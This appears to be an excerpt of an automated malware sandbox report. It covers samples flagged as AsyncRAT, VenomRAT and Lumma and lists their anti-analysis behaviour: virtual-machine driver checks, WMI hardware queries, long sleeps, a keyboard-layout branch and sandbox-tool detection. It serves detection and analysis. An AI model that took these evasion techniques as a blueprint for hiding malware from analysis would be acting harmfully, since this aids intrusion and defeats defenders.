Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Check for Windows Defender sandbox
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe File Queried: C:\INTERNAL\__empty Jump to behavior
Yara detected AsyncRAT
Source: Yara match File source: 18.2.vm.exe.29e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.vm.exe.29e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected VenomRAT
Source: Yara match File source: Process Memory Space: vm.exe PID: 5804, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vm.exe PID: 5252, type: MEMORYSTR
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Queries memory information (via WMI often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_DiskDrive
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory
Query firmware table information (likely to detect VMs)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe System information queried: FirmwareTableInformation
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\jjistfr API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\jjistfr API/Special instruction interceptor: Address: 7FFE2220D584
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: vm.exe, 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, vm.exe, 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Memory allocated: 1DCCC5B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Memory allocated: 1DCE6070000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Memory allocated: 1DCE98C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Memory allocated: 15BDAF30000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Memory allocated: 15BF3110000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 170000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 2A20000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 27C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 26E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 2960000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 2720000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\VBoxSF.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\vmnet.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\vmmouse.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\vboxtray.exe Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\vboxhook.dll Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\VBoxGuest.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\VBoxVideo.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\vmci.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\VBoxMouse.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\vboxservice.exe Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Thread delayed: delay time: 922337203685477
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 469 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 1468 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 821 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 368 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 361 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 2978 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 858 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 884 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Window / User API: threadDelayed 971 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8825
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 634
Found evasive API chain (may stop execution after checking a module file name)
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 6336 Thread sleep time: -146800s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6308 Thread sleep time: -82100s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6120 Thread sleep time: -36100s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6100 Thread sleep time: -32900s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6588 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6336 Thread sleep time: -297800s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe TID: 5356 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe TID: 3408 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe TID: 5272 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe TID: 6096 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 1420 Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1664 Thread sleep time: -13835058055282155s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5684 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe TID: 3164 Thread sleep time: -65000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe TID: 3548 Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe TID: 2076 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM WIN32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764877000 GetKeyboardLayoutList followed by cmp: cmp r8d, 00000419h and CTI: je 00007FF7648771AFh 6_2_00007FF764877000
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA6C1DF GetSystemInfo,VirtualAlloc, 18_2_6CA6C1DF
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Thread delayed: delay time: 922337203685477
Source: explorer.exe, 00000001.00000000.1714793604.00000000098A8000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: wscript.exe, 00000014.00000002.2825370171.00000275A5314000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: explorer.exe, 00000001.00000000.1711065228.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1712692265.00000000079FB000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 34CA.exe, 00000008.00000000.2466826859.00007FF65BBF0000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: runtime: sp=abi mismatchout of rangeCypro_MinoanMeetei_MayekPahawh_HmongSora_SompengSyloti_Nagrimultipathtcp127.0.0.1:53no such hostCIDR addressunknown portinvalid portgetaddrinfowtransmitfileGetConsoleCPnot pollableECDSA-SHA256ECDSA-SHA384ECDSA-SHA512SERIALNUMBERstringlengthContent-Typecontext.TODOtlsunsafeekmclose notifyremote errorc hs traffics hs trafficc ap traffics ap traffichttpmuxgo121PUSH_PROMISECONTINUATIONCookie.Valuecontent-typemax-forwardshttp2debug=1http2debug=2100-continueMulti-StatusNot ModifiedUnauthorizedI'm a teapotNot ExtendedproxyconnectMime-VersionX-ImforwardsX-Powered-Bybad Tc valuebad Th valuebad Tq valuebad Pq valuebad Td valuebad Ta valuedisplay-nameban-durationRemoveSignerGetDealLabelChangePeerIDTransferFromgotypesaliasRCodeSuccessRCodeRefusedinvalid baseInstAltMatchunexpected )altmatch -> anynotnl -> empty numberReadObjectCBdecode arraydecode sliceunknown type = struct { Content Type (sensitive)simple errordbl-sha2-256base32hexpadbase58flickrbase64urlpadbase256emojiavx5124fmapsavx512bitalgcaller errorPskModePlaineccsi_sha256PUNSUBSCRIBESUNSUBSCRIBE(database)s$Switch Proxy.fasthttp.gz.fasthttp.brAMDisbetter!AuthenticAMDCentaurHaulsGenuineIntelTransmetaCPUGenuineTMx86Geode by NSCVIA VIA VIA KVMKVMKVMKVMMicrosoft HvVMwareVMwareXenVMMXenVMMbhyve bhyve HygonGenuineVortex86 SoCSiS SiS SiS RiseRiseRiseGenuine RDCECH requiredbad KDF ID: BindCompleteFunctionCalluncompressedparsing time out of rangeDeleteServiceRegEnumKeyExWRegOpenKeyExWStartServiceWCertOpenStoreFindNextFileWFindResourceWGetDriveTypeWMapViewOfFileModule32NextWThread32FirstVirtualUnlockWaitCommEventWriteConsoleWRtlGetVersionRtlInitStringCoTaskMemFreeEnumProcessesShellExecuteWExitWindowsExGetClassNameWtimeEndPeriodFreeAddrInfoWgethostbynamegetservbynameWTSFreeMemoryFindFirstFileWSACloseEventgethostbyaddrgetservbyportWSAResetEventWSAIsBlockingSysFreeStringSafeArrayLockSafeArrayCopyVarI2FromDateVarI2FromDispVarI2FromBoolVarI4FromDateVarI4FromDispVarI4FromBoolVarR4FromDateVarR4FromDispVarR4FromBoolVarR8FromDateVarR8FromDispVarR8FromBoolVarDateFromI2VarDateFromI4VarDateFromR4VarDateFromR8VarDateFromCyVarCyFromDateVarCyFromDispVarCyFromBoolVarBstrFromI2VarBstrFromI4VarBstrFromR4VarBstrFromR8VarBstrFromCyVarBoolFromI2VarBoolFromI4VarBoolFromR4VarBoolFromR8VarBoolFromCyVarUI1FromStrCreateTypeLibClearCustDataLoadTypeLibExVarDecFromUI1VarDecFromStrVarDateFromI1VarBstrFromI1VarBoolFromI1VarUI1FromUI2VarUI1FromUI4VarUI1FromDecVarDecFromUI2VarDecFromUI4VarI1FromDateVarI1FromDispVarI1FromBoolVarUI2FromUI1VarUI2FromStrVarUI2FromUI4VarUI2FromDecVarUI4FromUI1VarUI4FromStrVarUI4FromUI2VarUI4FromDecBSTR_UserSizeBSTR_UserFreeVarI8FromDateVarI8FromDispVarI8FromBoolVarDateFromI8VarBstrFromI8VarBoolFromI8VarUI1FromUI8VarDecFromUI8VarUI2FromUI8VarUI4FromUI8VarUI8FromUI1VarUI8FromStrVarUI8FromUI2VarUI8FromUI4VarUI8FromDecOMAP From SrcInterfaceImplStandAloneSigAssemblyRefOSEFI byte codeMIPS with FPUEFI ROM imageAlign 2-BytesAlign 4-BytesAlign 8-Bytesby_start_timeDRAINING_SUBSDRAINING_PU
Source: lm.exe, 00000013.00000002.3159798781.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2950433978.00000000005E5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`[b%SystemRoot%\system32\mswsock.dll
Source: wscript.exe, 00000014.00000002.2825370171.00000275A5314000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}
Source: powershell.exe, 0000000E.00000002.2783985099.000002EC464C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll%
